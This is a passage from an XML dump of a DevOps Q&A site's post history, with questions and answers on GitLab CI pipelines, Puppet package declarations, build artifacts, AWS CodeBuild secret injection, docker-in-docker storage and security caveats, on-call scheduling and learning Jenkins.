&quot;node_modules&quot; ]; then npm install; fi&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - npm start&#xD;&#xA;        - npm run test:e2e&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - npm run build&#xD;&#xA;    &#xD;&#xA;    # deploy-to-staging:&#xD;&#xA;    #   stage: deploy&#xD;&#xA;    #   script:&#xD;&#xA;    #     - lftp -e &quot;open ftp.mediajackagency.com; user $MJA_FTP_USER $MJA_FTP_PASS; mirror --reverse --verbose build/ /var/www/domains/dev/clients/jhm/cornerstone-mvp/build/; bye&quot;&#xD;&#xA;    #   environment:&#xD;&#xA;    #     name: staging&#xD;&#xA;    #     url: http://dev.mediajackagency.com/clients/jhm/cornerstone-mvp/build&#xD;&#xA;    #   when: manual&#xD;&#xA;    #   only:&#xD;&#xA;    #     - dev&#xD;&#xA;    # deploy-to-production:&#xD;&#xA;    #   stage: deploy&#xD;&#xA;    #   script:&#xD;&#xA;    #     - sh deploy-prod&#xD;&#xA;    #   environment:&#xD;&#xA;    #     name: staging&#xD;&#xA;    #     url: http://stg2.jhm.org&#xD;&#xA;    #   when: manual&#xD;&#xA;    #   only:&#xD;&#xA;    #     - master" ContentLicense="CC BY-SA 4.0" />
  <row Id="37180" PostHistoryTypeId="1" PostId="12103" RevisionGUID="de461354-f3b7-486b-bc4e-50c6dd59f9da" CreationDate="2020-07-30T18:52:23.217" UserId="23358" Text="Devops CICD run ReactJS application while testing with jest + puppeteer" ContentLicense="CC BY-SA 4.0" />
  <row Id="37181" PostHistoryTypeId="3" PostId="12103" RevisionGUID="de461354-f3b7-486b-bc4e-50c6dd59f9da" CreationDate="2020-07-30T18:52:23.217" UserId="23358" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37185" PostHistoryTypeId="2" PostId="12105" RevisionGUID="dbab10fc-21f2-4ff0-8347-bd67f817bb63" CreationDate="2020-07-31T03:02:34.650" UserId="23364" Text="Why should I store artifacts? I'm doing it but i don't know if it still make sense.&#xD;&#xA;&#xD;&#xA;- My builds are fairly quick&#xD;&#xA;- I do git tag versioning &#xD;&#xA;- None of my builds depends on another. (all independent micro-services)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any compelling reason to keep this &quot;Artifactory code&quot; in my pipelines? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37186" PostHistoryTypeId="1" PostId="12105" RevisionGUID="dbab10fc-21f2-4ff0-8347-bd67f817bb63" CreationDate="2020-07-31T03:02:34.650" UserId="23364" Text="Why should I store artifacts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37187" PostHistoryTypeId="3" PostId="12105" RevisionGUID="dbab10fc-21f2-4ff0-8347-bd67f817bb63" CreationDate="2020-07-31T03:02:34.650" UserId="23364" Text="&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37196" PostHistoryTypeId="2" PostId="12108" RevisionGUID="6f360fbc-8138-4bcf-83fe-eb435e268c48" CreationDate="2020-07-31T14:50:45.670" UserId="3041" Text="The program I want on my VM requires 7-zip as part of the installation process but not after the install.  I want to leave the VM as clean as possible by removing 7-zip after the install is done.  In puppet it seems like it would be easy enough to declare once to ensure present and again later to ensure absent.&#xD;&#xA;&#xD;&#xA;I am currently stuck with a Duplicate declaration error. In my case 7-zip but this could appear for any package. &#xD;&#xA;&#xD;&#xA;&gt; Duplicate declaration: Package[7-Zip 19.00 (x64 edition)] is already&#xD;&#xA;&gt; declared&#xD;&#xA;&#xD;&#xA;I have the code split into multiple classes but here is what is looks like in a single manifest.&#xD;&#xA;&#xD;&#xA;    $installer_location = 'puppet:///resources/'&#xD;&#xA;    $installer_name = &quot;7z1900-${::architecture}.msi&quot;&#xD;&#xA;    $install_directory = 'C:/temp/'&#xD;&#xA;    &#xD;&#xA;    #Create directory for installer&#xD;&#xA;    file { 'install_dir':&#xD;&#xA;      ensure =&gt; directory,&#xD;&#xA;      path   =&gt; $install_directory,&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Copy installer local &#xD;&#xA;    file { 'Copy_7zip_installer':&#xD;&#xA;      ensure =&gt; present,&#xD;&#xA;      path   =&gt; &quot;${install_directory}${installer_name}&quot;,&#xD;&#xA;      source =&gt; &quot;${installer_location}${installer_name}&quot;,&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # install 7zip &#xD;&#xA;    package { 'Install 7-zip':&#xD;&#xA;      ensure   =&gt; present,&#xD;&#xA;      provider =&gt; 'windows',&#xD;&#xA;      source   =&gt; &quot;${install_directory}${installer_name}&quot;,&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #Use 7-zip to unpack archive and do pipelines agent install&#xD;&#xA;    String $package_path = lookup('azure_pipelines_agent::package_source')&#xD;&#xA;    String $package_name = lookup('azure_pipelines_agent::package_name')&#xD;&#xA;    String $install_path = lookup('azure_pipelines_agent::install_path')&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Create the install directory&#xD;&#xA;    file { 'install-path':&#xD;&#xA;    ensure =&gt; directory,&#xD;&#xA;      path   =&gt; $install_path,&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Copy Azure pipeline package&#xD;&#xA;    # Due to a bug the archive forge module requires 7-zip &#xD;&#xA;    # instead of defaulting to powershell for .zip files&#xD;&#xA;    archive { 'extract_azure_package':&#xD;&#xA;      source       =&gt; $package_path,&#xD;&#xA;      path         =&gt; &quot;${install_path}${package_name}&quot;,&#xD;&#xA;      extract      =&gt; true,&#xD;&#xA;      extract_path =&gt; $install_path,&#xD;&#xA;      cleanup      =&gt; true,&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # uninstall 7zip &#xD;&#xA;    # The title (or name) of the package must match the value of the package’s DisplayName property in the registry&#xD;&#xA;    # https://puppet.com/docs/puppet/6.17/resources_package_windows.html&#xD;&#xA;    package { '7-Zip 19.00 (x64 edition)':&#xD;&#xA;      ensure   =&gt; absent,&#xD;&#xA;      provider =&gt; 'windows',&#xD;&#xA;      source   =&gt; &quot;${install_directory}${installer_name}&quot;,&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # ... Configuration and setup of Azure Pipeline Agent&#xD;&#xA;&#xD;&#xA;Is there a simple means of working around what puppet sees as a duplicate declaration?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37197" PostHistoryTypeId="1" PostId="12108" RevisionGUID="6f360fbc-8138-4bcf-83fe-eb435e268c48" CreationDate="2020-07-31T14:50:45.670" UserId="3041" Text="Install and remove a program in the same Puppet declaration" ContentLicense="CC BY-SA 4.0" />
  <row Id="37198" PostHistoryTypeId="3" PostId="12108" RevisionGUID="6f360fbc-8138-4bcf-83fe-eb435e268c48" CreationDate="2020-07-31T14:50:45.670" UserId="3041" Text="&lt;infrastructure-as-code&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37199" PostHistoryTypeId="2" PostId="12109" RevisionGUID="5bec44d9-b899-4bdb-8674-023b5e2877fe" CreationDate="2020-07-31T16:00:36.583" UserId="18916" Text="One argument in support of storing artifacts is that it promotes consistency when deploying across different environments.&#xD;&#xA;&#xD;&#xA;From [*Continuous Delivery*](https://continuousdelivery.com) by Humble and Farley:&#xD;&#xA;&#xD;&#xA;&gt; Every time you compile the code, you run the risk of introducing some difference. The version of the compiler installed in the later stages may be different from the version that you used for your commit tests. You may pick up a different version of some third-party library that you didn’t intend. Even the configuration of the compiler may change the behavior of the application.&#xD;&#xA;&#xD;&#xA;By only building artifacts once, we make sure that the production code is exactly the same as that which has gone through testing. In very small codebases with simple pipelines, it might not make too much of an impact, but it's still best practice to only build once.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37200" PostHistoryTypeId="2" PostId="12110" RevisionGUID="344cd3a5-6683-4df6-bba5-7fe096a13583" CreationDate="2020-07-31T17:58:32.097" UserId="23377" Text="I thought I could slightly improve readability of repetitive `sed` calls when inserting secrets into a file with AWS CodeBuild. I defined a bash function:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;replaceConfig() { sed -i 's/{'$1'}/'${!1}'/' config.json; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This can be called like so:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;replaceConfig DB_PASSWORD&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And this will replace all instances of the text `{DB_PASSWORD}` in config.json with the value held in secret environment variable `DB_PASSWORD`. Unfotunately, this does not work in CodeBuild. Inspecting the log file, I see:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[Container] 2020*07*31 15:44:40 Running command replaceConfig DB_USERNAME&#xD;&#xA;*codebuild*output*tmp*script.sh: line 4: replaceConfig: command not found&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I get the same error defining the bash function with the alternative syntax:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;function replaceConfig { sed -i 's/{'$1'}/'${!1}'/' config.json; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have read that buildspec version 0.1 used a separate shell process for each command, which would have caused this problem, but I am using buildspec version 0.2, so these commands should be sharing the same shell.&#xD;&#xA;&#xD;&#xA;Of course I can just stick with the repetitive sed calls, but am I correct in understanding that bash functions cannot be used in buildspec commands at all? Is there a better way to get these secrets into a configuration file?&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version: 0.2&#xD;&#xA;&#xD;&#xA;run-as: root&#xD;&#xA;&#xD;&#xA;env:&#xD;&#xA;  shell: bash&#xD;&#xA;  variables:&#xD;&#xA;    AWS_REGION: us-east-2&#xD;&#xA;  secrets-manager:&#xD;&#xA;    DB_USERNAME: db-credentials:username&#xD;&#xA;    DB_PASSWORD: db-credentials:password&#xD;&#xA;    DB_HOST: db-credentials:host&#xD;&#xA;....&#xD;&#xA;phases:&#xD;&#xA;  ....&#xD;&#xA;  post_build:&#xD;&#xA;    commands:&#xD;&#xA;      - replaceConfig() { sed -i 's/{'$1'}/'${!1}'/' config.json; }&#xD;&#xA;      - replaceConfig DB_USERNAME&#xD;&#xA;      - replaceConfig DB_PASSWORD&#xD;&#xA;      - replaceConfig DB_HOST&#xD;&#xA;....&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37201" PostHistoryTypeId="1" PostId="12110" RevisionGUID="344cd3a5-6683-4df6-bba5-7fe096a13583" CreationDate="2020-07-31T17:58:32.097" UserId="23377" Text="Defining and using bash functions in AWS CodeBuild" ContentLicense="CC BY-SA 4.0" />
  <row Id="37202" PostHistoryTypeId="3" PostId="12110" RevisionGUID="344cd3a5-6683-4df6-bba5-7fe096a13583" CreationDate="2020-07-31T17:58:32.097" UserId="23377" Text="&lt;amazon-web-services&gt;&lt;bash&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37203" PostHistoryTypeId="50" PostId="9666" RevisionGUID="9b14732b-3401-4cde-8934-5af5e222f222" CreationDate="2020-07-31T19:02:00.197" UserId="-1" />
  <row Id="37204" PostHistoryTypeId="5" PostId="12110" RevisionGUID="d4d2ee2c-6485-46d1-ae53-c9557588e89d" CreationDate="2020-07-31T19:45:29.167" UserId="23377" Comment="I changed the sed delimiter from slash to pipe because pipe is less likely conflict with contents of an environment variable." Text="I thought I could slightly improve readability of repetitive `sed` calls when inserting secrets into a file with AWS CodeBuild. I defined a bash function:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;replaceConfig() { sed -i 's|{'$1'}|'${!1}'|' config.json; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This can be called like so:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;replaceConfig DB_PASSWORD&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And this will replace all instances of the text `{DB_PASSWORD}` in config.json with the value held in secret environment variable `DB_PASSWORD`. Unfotunately, this does not work in CodeBuild. Inspecting the log file, I see:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[Container] 2020*07*31 15:44:40 Running command replaceConfig DB_USERNAME&#xD;&#xA;*codebuild*output*tmp*script.sh: line 4: replaceConfig: command not found&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I get the same error defining the bash function with the alternative syntax:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;function replaceConfig { sed -i 's|{'$1'}|'${!1}'|' config.json; }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have read that buildspec version 0.1 used a separate shell process for each command, which would have caused this problem, but I am using buildspec version 0.2, so these commands should be sharing the same shell.&#xD;&#xA;&#xD;&#xA;Of course I can just stick with the repetitive sed calls, but am I correct in understanding that bash functions cannot be used in buildspec commands at all? Is there a better way to get these secrets into a configuration file?&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version: 0.2&#xD;&#xA;&#xD;&#xA;run-as: root&#xD;&#xA;&#xD;&#xA;env:&#xD;&#xA;  shell: bash&#xD;&#xA;  variables:&#xD;&#xA;    AWS_REGION: us-east-2&#xD;&#xA;  secrets-manager:&#xD;&#xA;    DB_USERNAME: db-credentials:username&#xD;&#xA;    DB_PASSWORD: db-credentials:password&#xD;&#xA;    DB_HOST: db-credentials:host&#xD;&#xA;....&#xD;&#xA;phases:&#xD;&#xA;  ....&#xD;&#xA;  post_build:&#xD;&#xA;    commands:&#xD;&#xA;      - replaceConfig() { sed -i 's|{'$1'}|'${!1}'|' config.json; }&#xD;&#xA;      - replaceConfig DB_USERNAME&#xD;&#xA;      - replaceConfig DB_PASSWORD&#xD;&#xA;      - replaceConfig DB_HOST&#xD;&#xA;....&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37205" PostHistoryTypeId="2" PostId="12111" RevisionGUID="b9a01ae6-ac7b-43ba-87c7-07eae2213504" CreationDate="2020-07-31T22:43:25.040" UserId="23381" Text="Docker-in-docker has gotten better over the years and the [docker dind](https://hub.docker.com/_/docker) image is getting more maturity. However there are still a number of caveats that make its use relatively difficult to get right.&#xD;&#xA;&#xD;&#xA;### Storage driver&#xD;&#xA;&#xD;&#xA;The main challenge of getting docker-in-docker to work well is the storage driver of the docker installation. On your host you would have filesystems like `ext4`, which docker can run `overlayfs2` on top of. However, within a docker container, docker is unable to use `overlayfs2` as the backing filesystem of another `overlayfs2`. It doesn't work recursively. There are no easy setups to create a recursive docker-in-docker storage driver stack that works well.&#xD;&#xA;&#xD;&#xA;The only storage driver that works on anything is `vfs`. However, `vfs` does not have copy-on-write capabilities, meaning that every docker build layer is actually a complete copy of the previous layers. In docker builds with many layers, high amounts of duplication cause performance issues as well as they quickly exhaust disk space. So it's usually not a real solution.&#xD;&#xA;&#xD;&#xA;A possible workaround is to use a volume mount for the directory of the inner docker daemon's storage (`/var/lib/docker`). Then the inner docker daemon can use the host filesystem directly and can thus run `overlayfs2` on it.&#xD;&#xA;&#xD;&#xA;Another workaround would be to create a loop device formatted as `ext4` which can then be used as the backing filesystem for the inner docker daemon. To avoid pre-allocating space on the disk, you can use a sparse file for the loop device. For example&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;dd if=/dev/zero of=&quot;$image_file&quot; bs=1M count=0 seek=&quot;$sparse_loop_device_size_mb&quot;&#xD;&#xA;mkfs.ext4 &quot;$image_file&quot;&#xD;&#xA;mount -n -o loop,noatime,nodiratime,noexec,noauto &quot;$image_file&quot; /var/lib/docker&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(The size of the loop device here is the maximum size, not the initial size)&#xD;&#xA;&#xD;&#xA;Note however that docker recommends that write-heavy containers should not use the container's writeable layer due to performance reasons. So it is anyway advisable to use a volume mount for the docker daemon directory.&#xD;&#xA;&#xD;&#xA;### Image cache&#xD;&#xA;&#xD;&#xA;Another typical issue is the cache of docker builds or of docker pulls within docker-in-docker. If you spin up docker-in-docker daemon for a build every time, it will have zero cache. Or if you spin up a docker-in-docker daemon for an integration test, you will have to pull down everything all over again. This is obvious when you think about it, but it can be a key performance issue if not taken into account. There is currently no easy way to share cache between the host docker daemon and the docker-in-docker.&#xD;&#xA;&#xD;&#xA;However, you may be able to mount a volume for the docker dir (`/var/lib/docker`), to use it across multiple runs. Just make sure you never mount it to two docker daemons at the same time as that's an easy way to get unpredictable behavior due to corruption. The docker dir was not designed to be accessed by more than one daemon concurrently.&#xD;&#xA;&#xD;&#xA;### Performance&#xD;&#xA;&#xD;&#xA;I have seen no evidence in the community of any significant performance impact of using docker-in-docker (aside from the storage driver and cache considerations mentioned above).&#xD;&#xA;&#xD;&#xA;### Security&#xD;&#xA;&#xD;&#xA;Docker-in-docker requires privileged mode, which can be an additional attack vector. There is ongoing work to support docker-in-docker in rootless mode, including using a fuse variant of `overlayfs`. This is less mature however.&#xD;&#xA;&#xD;&#xA;### Workaround: Mounting docker.sock&#xD;&#xA;&#xD;&#xA;There is, of course, the possibility of mounting `/var/run/docker.sock` within a container and you can use the docker CLI within that container. This is not a real docker-in-docker, as the container merely uses a client to connect to the host's docker daemon. It is however a popular, hassle-free option for certain use cases. This is far easier to achieve, if your circumstances permit." ContentLicense="CC BY-SA 4.0" />
  <row Id="37209" PostHistoryTypeId="2" PostId="12112" RevisionGUID="c0a3161c-cca0-4ad4-aa45-30f2249762fb" CreationDate="2020-08-01T00:09:48.160" UserId="7078" Text="What is the optimum number of people in a typical SRE/DevOps weekly on call schedule?&#xD;&#xA;&#xD;&#xA;- too few people (less than 4) could lead to burnout&#xD;&#xA;- too many people would lead to members forgetting the ropes of being on call, which isn't desirable either&#xD;&#xA;&#xD;&#xA;Is there a reasonable cap on how many could be there in a weekly shift?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37210" PostHistoryTypeId="1" PostId="12112" RevisionGUID="c0a3161c-cca0-4ad4-aa45-30f2249762fb" CreationDate="2020-08-01T00:09:48.160" UserId="7078" Text="What is the optimum number of people in a weekly oncall schedule?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37211" PostHistoryTypeId="3" PostId="12112" RevisionGUID="c0a3161c-cca0-4ad4-aa45-30f2249762fb" CreationDate="2020-08-01T00:09:48.160" UserId="7078" Text="&lt;process&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37213" PostHistoryTypeId="2" PostId="12113" RevisionGUID="57a73506-5e70-459c-b3f1-a3045bda1334" CreationDate="2020-08-01T04:03:23.847" UserId="23384" Text="I need a little help over here:&#xD;&#xA;&#xD;&#xA;In every site I seek info to get started using Jenkins (i.e.: [devopscube][1]) they say is very easy to understand, and theoretically is really simple once you have look into [Jenkinks Architecture][2], but I'm having troubles to understand some concepts and I need a good site/pdf/free book (I'm from Cuba and my access to internet is a little expensive and no way to pay for courses and books :-( ) to read and fully understand, for example:&#xD;&#xA;&#xD;&#xA;- When creating the **Jenkinsfile** for a pipeline (using **groovy**) how is the code structure made? *Where* can I find some examples starting from the easiest to the complex ones?&#xD;&#xA;- What are the actual differences between **stages** and **nodes** on Jenkinks file?&#xD;&#xA;- Where can I learn how to make pipelines from scratch (but not just copy/paste from somewhere, understanding what I'm doing it), i.e.: I want to run a code on the server where I have my Jenkins master every time a fellow coder make a successfully **git push**&#xD;&#xA;&#xD;&#xA;I downloaded the [Jenkis.io's Jenkins User Handbook][3] but is a bit hard to fully understand the questions I made right up.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devopscube.com/jenkins-2-tutorials-getting-started-guide/&#xD;&#xA;  [2]: https://devopscube.com/jenkins-architecture-explained/&#xD;&#xA;  [3]: https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;ved=2ahUKEwjOxIqTj_nqAhWSmeAKHUZGBRMQFjAAegQIARAB&amp;url=https%3A%2F%2Fwww.jenkins.io%2Fuser-handbook.pdf&amp;usg=AOvVaw1VezHgwXZGSMjEi2nF4VDv" ContentLicense="CC BY-SA 4.0" />
  <row Id="37214" PostHistoryTypeId="1" PostId="12113" RevisionGUID="57a73506-5e70-459c-b3f1-a3045bda1334" CreationDate="2020-08-01T04:03:23.847" UserId="23384" Text="Need help getting documentation of Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="37215" PostHistoryTypeId="3" PostId="12113" RevisionGUID="57a73506-5e70-459c-b3f1-a3045bda1334" CreationDate="2020-08-01T04:03:23.847" UserId="23384" Text="&lt;jenkins&gt;&lt;documentation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37216" PostHistoryTypeId="2" PostId="12114" RevisionGUID="ab6eb55d-bce1-4acd-b603-a77460dad8e5" CreationDate="2020-08-01T12:35:13.920" UserId="23350" Text="I am developing a MEAN app a windows laptop. Should I use Ubuntu or windows server on my cloud provider? Are there downsides of choosing one over the other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37217" PostHistoryTypeId="1" PostId="12114" RevisionGUID="ab6eb55d-bce1-4acd-b603-a77460dad8e5" CreationDate="2020-08-01T12:35:13.920" UserId="23350" Text="WIndows or Ubuntu server when developing on windows?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37218" PostHistoryTypeId="3" PostId="12114" RevisionGUID="ab6eb55d-bce1-4acd-b603-a77460dad8e5" CreationDate="2020-08-01T12:35:13.920" UserId="23350" Text="&lt;windows&gt;&lt;cloud&gt;&lt;servers&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37222" PostHistoryTypeId="2" PostId="12116" RevisionGUID="835bdefc-9d55-4a65-9c29-070ba53e30e2" CreationDate="2020-08-01T18:41:28.330" UserId="10560" Text="&gt; When creating the Jenkinsfile for a pipeline (using groovy) how is the code structure made? Where can I find some examples starting from the easiest to the complex ones?&#xD;&#xA;&#xD;&#xA;The files typically ending in `*.jenkinsfile` can be made in any text editor or IDE. For examples the best place to look is the [Pipeline Examples](https://www.jenkins.io/doc/pipeline/examples/) page. There is also a github repo with more [examples](https://github.com/jenkinsci/pipeline-examples).&#xD;&#xA;&#xD;&#xA;&gt; What are the actual differences between stages and nodes on Jenkinks file?&#xD;&#xA;&#xD;&#xA;**Nodes** - are physical machines or virtual machines that run Jenkins as worker. They can be different architectures.&#xD;&#xA;&#xD;&#xA;**Stages** - These are best thought of as the recipe:&#xD;&#xA;&#xD;&#xA;1. Mix the ingredients&#xD;&#xA;2. Add water&#xD;&#xA;3. Mix again&#xD;&#xA;4. Bake&#xD;&#xA;&#xD;&#xA;Each stage is an action that Jenkins needs to take.&#xD;&#xA;&#xD;&#xA;&gt; Where can I learn how to make pipelines from scratch (but not just copy/paste from somewhere, understanding what I'm doing it), i.e.: I want to run a code on the server where I have my Jenkins master every time a fellow coder make a successfully git push&#xD;&#xA;&#xD;&#xA;The first two links I gave are the best way of starting but it's purely subjective. I'd suggest starting simple and then building up from there. In the document you referenced there is also a section on Pipelines which might be the missing step for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="37223" PostHistoryTypeId="2" PostId="12117" RevisionGUID="d1eb1e99-9ada-456e-b425-084c14a018b2" CreationDate="2020-08-01T23:37:35.820" UserId="23364" Text="I dont see downsides of using your Windows laptop. Its a matter of preference. If you know how to deal with Windows Environment variables, paths, EOL characters, you should be good.&#xD;&#xA;&#xD;&#xA;Many developers use Mac or Linux because they deal better with *unix like systems or because similar to the server they will run their apps.&#xD;&#xA;&#xD;&#xA;At the end of the day after you build your MEAN solution the output should be the same regardless the OS.&#xD;&#xA;&#xD;&#xA;Windows Server or Ubuntu server are just a OS to 'professionally' run your app. Absolutely no need to spend extra money to develop a MEAN app on those OS, I recommend to stick your your computer for development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37224" PostHistoryTypeId="2" PostId="12118" RevisionGUID="7aed13fa-2d43-4bff-b1f4-59fca4e98c18" CreationDate="2020-08-01T23:55:02.393" UserId="23364" Text="well, this is not your answer but I hope it helps ... &#xD;&#xA;&#xD;&#xA;I lived both situations when I was single and no kids.&#xD;&#xA;When the staff was short my boss tried to motivate us by talking about the extra money &#xD;&#xA;and giving half day off. (I liked)&#xD;&#xA;&#xD;&#xA;When the staff of complete I was getting on-call once a month and the money wasn't good enough to pay for the trouble. (I hated it)&#xD;&#xA;&#xD;&#xA;I recommend to assess where your team is, personally and professionally, and put a few suggestion to be voted by them. Then give them the ability to self manage their schedule.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37225" PostHistoryTypeId="2" PostId="12119" RevisionGUID="100194d6-1342-40dc-8ece-7e888ca653ac" CreationDate="2020-08-02T01:46:25.900" UserId="15016" Text="It sounds like you have a main Jenkins orchestration server and six additional nodes added for build capacity. If you are attempting to improve scalability, there are quite a few options.&#xD;&#xA;&#xD;&#xA;If you have containers representing the build environments (A, B, C D), an option would be docker swarm across the existing machines, allowing all of the hosts to be managed as a group and your containers to be dropped on them.&#xD;&#xA;https://github.com/jenkinsci/docker-swarm-plugin &#xD;&#xA;&#xD;&#xA;Similarly, but more complicated, create a kubernetes cluster (Openshift, Rancher, etc.) with your current six machines and allow the main Jenkins to spin up and use containers on the clustered kubernetes as needed. This would allow you to create, add additional machines to the cluster, if scaling is needed. You could even add your main Jenkins server to the cluster and run Jenkins as a container.&#xD;&#xA;https://github.com/jenkinsci/kubernetes-plugin&#xD;&#xA;&#xD;&#xA;Another option is to add cloud (GCP, Azure, AWS) capacity as a node(s) to push overflow to pay as you need capacity in the cloud.&#xD;&#xA;https://github.com/jenkinsci/google-compute-engine-plugin&#xD;&#xA;&#xD;&#xA;Lastly, you could also use your current solution, as is, while developing a cloud native CI/CD pipeline and slowly migrate to a more modular, scaling infrastructure. There are so many options in this space, some not even needing Jenkins, solutions could be tailored to specific needs.&#xD;&#xA;&#xD;&#xA;I hope this gives you some ideas and hints!" ContentLicense="CC BY-SA 4.0" />
  <row Id="37226" PostHistoryTypeId="2" PostId="12120" RevisionGUID="87369d4a-34e7-42db-b2cb-52a87742b8b2" CreationDate="2020-08-02T03:58:35.263" UserId="23395" Text="I am new to jenkins, and i am trying to make a deployment into a remote serve, but i am getting the following error:&#xD;&#xA;&#xD;&#xA;        Current dependency:com.vmd positionWatchLoader latest.integration&#xD;&#xA;    :: loading settings :: file = /tmp/tmp.uhKXp22892/ivysettings.xml&#xD;&#xA;    :: resolving dependencies :: com.vmd#positionWatchLoader-caller;working&#xD;&#xA;    	confs: [default]&#xD;&#xA;    	found com.vmd#positionWatchLoader;300000 in local&#xD;&#xA;    	[300000] com.vmd#positionWatchLoader;latest.integration&#xD;&#xA;    :: resolution report :: resolve 82ms :: artifacts dl 0ms&#xD;&#xA;    	---------------------------------------------------------------------&#xD;&#xA;    	|                  |            modules            ||   artifacts   |&#xD;&#xA;    	|       conf       | number| search|dwnlded|evicted|| number|dwnlded|&#xD;&#xA;    	---------------------------------------------------------------------&#xD;&#xA;    	|      default     |   1   |   1   |   0   |   0   ||   0   |   0   |&#xD;&#xA;    	---------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    :: problems summary ::&#xD;&#xA;    :::: WARNINGS&#xD;&#xA;    		::::::::::::::::::::::::::::::::::::::::::::::&#xD;&#xA;    &#xD;&#xA;    		::          UNRESOLVED DEPENDENCIES         ::&#xD;&#xA;    &#xD;&#xA;    		::::::::::::::::::::::::::::::::::::::::::::::&#xD;&#xA;    &#xD;&#xA;    		:: com.vmd#positionWatchLoader;300000: configuration not found in com.vmd#positionWatchLoader;300000: 'runtime'. It was required from com.vmd#positionWatchLoader-caller;working default&#xD;&#xA;    &#xD;&#xA;    		::::::::::::::::::::::::::::::::::::::::::::::&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    :: USE VERBOSE OR DEBUG MESSAGE LEVEL FOR MORE DETAILS&#xD;&#xA;&#xD;&#xA;And i am not able to interpret the error message, it says:  `configuration not found in com.vmd#positionWatchLoader;300000` which configuration ??&#xD;&#xA;&#xD;&#xA;    It was required from com.vmd#positionWatchLoader-caller;working default &#xD;&#xA;&#xD;&#xA;I have no dependency called: com.vmd#positionWatchLoader-caller !!!!!&#xD;&#xA;&#xD;&#xA;I do not know if it can help: i am using Ant to build and Ivy to manage dependencies.&#xD;&#xA;&#xD;&#xA;Any help will be much appreciated&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37227" PostHistoryTypeId="1" PostId="12120" RevisionGUID="87369d4a-34e7-42db-b2cb-52a87742b8b2" CreationDate="2020-08-02T03:58:35.263" UserId="23395" Text="Cannot understand jenkins deployment error" ContentLicense="CC BY-SA 4.0" />
  <row Id="37228" PostHistoryTypeId="3" PostId="12120" RevisionGUID="87369d4a-34e7-42db-b2cb-52a87742b8b2" CreationDate="2020-08-02T03:58:35.263" UserId="23395" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;dependency-management&gt;&lt;ant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37232" PostHistoryTypeId="10" PostId="12114" RevisionGUID="18199462-d183-4399-b023-382d626c289a" CreationDate="2020-08-02T08:31:00.487" UserId="40" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
